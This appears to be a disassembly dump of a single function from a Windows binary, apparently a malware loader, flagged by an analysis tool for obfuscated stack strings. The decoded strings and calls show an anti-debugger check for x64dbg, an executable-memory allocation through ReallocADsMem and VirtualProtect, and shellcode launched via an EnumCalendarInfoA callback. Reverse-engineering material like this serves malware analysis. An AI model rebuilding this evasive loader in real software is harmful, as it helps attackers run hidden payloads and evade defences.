Function at 0x40795a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x150], ecx
mov qword [rbp + 0x158], rdx
call fcn.0041aa90
call fcn.0040384e
mov dword [rbp + 0x12c], eax
lea rax, [rbp + 0xab]
mov rcx, rax
call fcn.00455340
lea rdx, [rbp + 0xab]
lea rax, [rbp + 0xa0]
mov r8, rdx
lea rdx, str.https:__www.baidu.com_s_ieutf_8
mov rcx, rax
call fcn.0045e460
lea rax, [rbp + 0xab]
mov rcx, rax
call fcn.00455370
lea rax, [rbp + 0xac]
mov rcx, rax
call fcn.00455340
lea rdx, [rbp + 0xac]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.https:__www.google.com_search_q
mov rcx, rax
call fcn.0045e460
lea rax, [rbp + 0xac]
mov rcx, rax
call fcn.00455370
lea rax, [rbp + 0xad]
mov rcx, rax
call fcn.00455340
lea rdx, [rbp + 0xad]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
mov rcx, rax
call fcn.0045e460
lea rax, [rbp + 0xad]
mov rcx, rax
call fcn.00455370
lea rax, [rbp + 0xae]
mov rcx, rax
call fcn.00455340
lea rdx, [rbp + 0xae]
lea rax, [rbp + 0x70]
mov r8, rdx
lea rdx, str.c:_users_username_Documents_file.txt
mov rcx, rax
call fcn.0045e460
lea rax, [rbp + 0xae]
mov rcx, rax
call fcn.00455370
lea rax, [rbp + 0xaf]
mov rcx, rax
call fcn.00455340
lea rdx, [rbp + 0xaf]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str._home_user_documents_file.txt
mov rcx, rax
call fcn.0045e460
lea rax, [rbp + 0xaf]
mov rcx, rax
call fcn.00455370
mov word [rbp + 0x40], 0x78
mov word [rbp + 0x42], 0x36
mov word [rbp + 0x44], 0x34
mov word [rbp + 0x46], 0x64
mov word [rbp + 0x48], 0x62
mov word [rbp + 0x4a], 0x67
mov word [rbp + 0x4c], 0x2e
mov word [rbp + 0x4e], 0x65
mov word [rbp + 0x50], 0x78
mov word [rbp + 0x52], 0x65
mov word [rbp + 0x54], 0
lea rax, [rbp + 0x40]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov rcx, rax
call fcn.00401609
mov dword [rbp + 0x11c], eax
cmp dword [rbp + 0x11c], 1
jne 0x407b2d
mov ebx, 0
jmp 0x407ef8
mov dword [rbp + 0x118], 0x40e0e
call fcn.00401723
mov qword [rbp + 0x110], rax
cmp qword [rbp + 0x110], 0
jne 0x407b57
mov ebx, 0
jmp 0x407ef8
mov qword [rbp + 0x38], 0
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0x110]
mov rcx, rax
call fcn.00408096
test eax, eax
je 0x407b7f
mov rax, qword [rbp + 0x38]
test rax, rax
jne 0x407b86
mov eax, 1
jmp 0x407b8b
mov eax, 0
test al, al
je 0x407b99
mov ebx, 1
jmp 0x407ef8
call fcn.00401a09
mov dword [rbp + 0x10c], eax
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
movabs rax, 0x7e5c872c2386c38e
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x20]
mov rax, qword [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call fcn.00408110
test eax, eax
sete al
test al, al
je 0x407bef
mov ebx, 0
jmp 0x407ef8
call fcn.004018e1
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x100], rax
mov byte [rbp + 0x10], 0x4c
mov byte [rbp + 0x11], 0x6f
mov byte [rbp + 0x12], 0x61
mov byte [rbp + 0x13], 0x64
mov byte [rbp + 0x14], 0x4c
mov byte [rbp + 0x15], 0x69
mov byte [rbp + 0x16], 0x62
mov byte [rbp + 0x17], 0x72
mov byte [rbp + 0x18], 0x61
mov byte [rbp + 0x19], 0x72
mov byte [rbp + 0x1a], 0x79
mov byte [rbp + 0x1b], 0x41
mov byte [rbp + 0x1c], 0
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x100]
call rax
mov qword [rbp + 0xf8], rax
mov byte [rbp], 0x61
mov byte [rbp + 1], 0x63
mov byte [rbp + 2], 0x74
mov byte [rbp + 3], 0x69
mov byte [rbp + 4], 0x76
mov byte [rbp + 5], 0x65
mov byte [rbp + 6], 0x64
mov byte [rbp + 7], 0x73
mov byte [rbp + 8], 0x2e
mov byte [rbp + 9], 0x64
mov byte [rbp + 0xa], 0x6c
mov byte [rbp + 0xb], 0x6c
mov byte [rbp + 0xc], 0
mov byte [rbp + 0xd], 0
mov rdx, rbp
mov rax, qword [rbp + 0xf8]
mov rcx, rdx
call rax
mov qword [rbp + 0xf0], rax
mov byte [rbp - 0x10], 0x55
mov byte [rbp - 0xf], 0x73
mov byte [rbp - 0xe], 0x65
mov byte [rbp - 0xd], 0x72
mov byte [rbp - 0xc], 0x33
mov byte [rbp - 0xb], 0x32
mov byte [rbp - 0xa], 0x2e
mov byte [rbp - 9], 0x64
mov byte [rbp - 8], 0x6c
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0xf8]
mov rcx, rdx
call rax
mov qword [rbp + 0xe8], rax
call fcn.004018e1
mov byte [rbp - 0x20], 0x52
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x1d], 0x6c
mov byte [rbp - 0x1c], 0x6c
mov byte [rbp - 0x1b], 0x6f
mov byte [rbp - 0x1a], 0x63
mov byte [rbp - 0x19], 0x41
mov byte [rbp - 0x18], 0x44
mov byte [rbp - 0x17], 0x73
mov byte [rbp - 0x16], 0x4d
mov byte [rbp - 0x15], 0x65
mov byte [rbp - 0x14], 0x6d
mov byte [rbp - 0x13], 0
mov byte [rbp - 0x12], 0
lea rdx, [rbp - 0x20]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0x100]
call rax
mov qword [rbp + 0xe0], rax
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0x69
mov byte [rbp - 0x2e], 0x72
mov byte [rbp - 0x2d], 0x74
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x61
mov byte [rbp - 0x2a], 0x6c
mov byte [rbp - 0x29], 0x50
mov byte [rbp - 0x28], 0x72
mov byte [rbp - 0x27], 0x6f
mov byte [rbp - 0x26], 0x74
mov byte [rbp - 0x25], 0x65
mov byte [rbp - 0x24], 0x63
mov byte [rbp - 0x23], 0x74
mov byte [rbp - 0x22], 0
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x100]
call rax
mov qword [rbp + 0xd8], rax
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll__time64
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll_localtime
mov qword [rbp + 0xd0], rax
call fcn.00401c15
mov dword [rbp + 0xcc], eax
mov eax, dword [rbp + 0x118]
mov edx, eax
lea rcx, [0x00483040]
call fcn.004016d4
mov byte [rbp - 0x50], 0x45
mov byte [rbp - 0x4f], 0x6e
mov byte [rbp - 0x4e], 0x75
mov byte [rbp - 0x4d], 0x6d
mov byte [rbp - 0x4c], 0x43
mov byte [rbp - 0x4b], 0x61
mov byte [rbp - 0x4a], 0x6c
mov byte [rbp - 0x49], 0x65
mov byte [rbp - 0x48], 0x6e
mov byte [rbp - 0x47], 0x64
mov byte [rbp - 0x46], 0x61
mov byte [rbp - 0x45], 0x72
mov byte [rbp - 0x44], 0x49
mov byte [rbp - 0x43], 0x6e
mov byte [rbp - 0x42], 0x66
mov byte [rbp - 0x41], 0x6f
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0
mov byte [rbp - 0x3e], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x100]
call rax
mov qword [rbp + 0xc0], rax
mov ecx, dword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov rax, qword [rbp + 0xe0]
mov r8d, ecx
mov ecx, 0
call rax
mov qword [rbp + 0xb8], rax
call fcn.004018e1
call fcn.00401efd
mov dword [rbp + 0xb4], eax
mov eax, dword [rbp + 0x118]
mov rdx, qword [rbp + 0xb8]
mov r8, rdx
lea rdx, [0x00483040]
mov ecx, eax
call fcn.00401893
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ClipCursor]
call rax
call fcn.004018e1
mov edx, dword [rbp + 0x118]
lea r8, [rbp - 0x54]
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xd8]
mov r9, r8
mov r8d, 0x40
call rax
mov dword [rbp + 0xb0], eax
cmp dword [rbp + 0xb0], 1
jne 0x407ef3
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xc0]
mov r9d, 1
mov r8d, 0xffffffff
mov edx, 0x800
call rax
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.0045e9d0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.0045e9d0
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.0045e9d0
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.0045e9d0
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.0045e9d0
mov eax, ebx
jmp 0x408004
add rsp, 0x1b8
pop rbx
pop rbp
ret